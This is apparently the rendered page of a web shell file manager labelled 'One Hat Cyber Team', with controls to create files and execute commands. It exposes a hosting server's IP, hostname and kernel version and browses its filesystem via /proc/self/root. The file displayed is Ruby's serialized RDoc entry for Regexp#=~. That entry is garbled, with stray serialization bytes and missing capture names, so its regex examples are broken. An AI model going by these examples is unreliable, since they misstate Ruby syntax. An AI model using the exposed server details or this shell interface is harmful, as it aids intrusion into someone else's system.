⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.133
Server IP:
185.119.109.197
Server:
Linux managedhosting.chostar.me 5.15.0-160-generic #170-Ubuntu SMP Wed Oct 1 10:06:56 UTC 2025 x86_64
Server Software:
Apache
PHP Version:
8.1.33
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
proc
/
self
/
root
/
usr
/
share
/
ri
/
3.0.0
/
system
/
Regexp
/
View File Name :
%3d%7e-i.ri
U:RDoc::AnyMethod[iI"=~:ETI"Regexp#=~;TF:publico:RDoc::Markup::Document:@parts[o:RDoc::Markup::Paragraph; [I"3Match---Matches
rxp
against
str
.;To:RDoc::Markup::BlankLine o:RDoc::Markup::Verbatim; [I""/at/ =~ "input data" #=> 7 ;TI"$/ax/ =~ "input data" #=> nil ;T:@format0o; ; [I"KIf
=~
is used with a regexp literal with named captures, ;TI"Gcaptured strings (or nil) is assigned to local variables named by ;TI"the capture names.;T@o;; [I"4/(?
\w+)\s*=\s*(?
\w+)/ =~ " x = y " ;TI"p lhs #=> "x" ;TI"p rhs #=> "y" ;T; 0o; ; [I"=If it is not matched, nil is assigned for the variables.;T@o;; [I"1/(?
\w+)\s*=\s*(?
\w+)/ =~ " x = " ;TI"p lhs #=> nil ;TI"p rhs #=> nil ;T; 0o; ; [I"8This assignment is implemented in the Ruby parser. ;TI"KThe parser detects 'regexp-literal =~ expression' for the assignment. ;TI"UThe regexp must be a literal without interpolation and placed at left hand side.;T@o; ; [I"BThe assignment does not occur if the regexp is not a literal.;T@o;; [ I"*re = /(?
\w+)\s*=\s*(?
\w+)/ ;TI"re =~ " x = y " ;TI")p lhs # undefined local variable ;TI")p rhs # undefined local variable ;T; 0o; ; [I"=A regexp interpolation,
#{}
, also disables ;TI"the assignment.;T@o;; [I"rhs_pat = /(?
\w+)/ ;TI"//(?
\w+)\s*=\s*#{rhs_pat}/ =~ "x = y" ;TI")p lhs # undefined local variable ;T; 0o; ; [I"RThe assignment does not occur if the regexp is placed at the right hand side.;T@o;; [I"4" x = y " =~ /(?
\w+)\s*=\s*(?
\w+)/ ;TI"*p lhs, rhs # undefined local variable;T; 0: @fileI" re.c;T:0@omit_headings_from_table_of_contents_below0I"%rxp =~ str -> integer or nil ;T0[ I" (p1);T@CFI"Regexp;TcRDoc::NormalClass00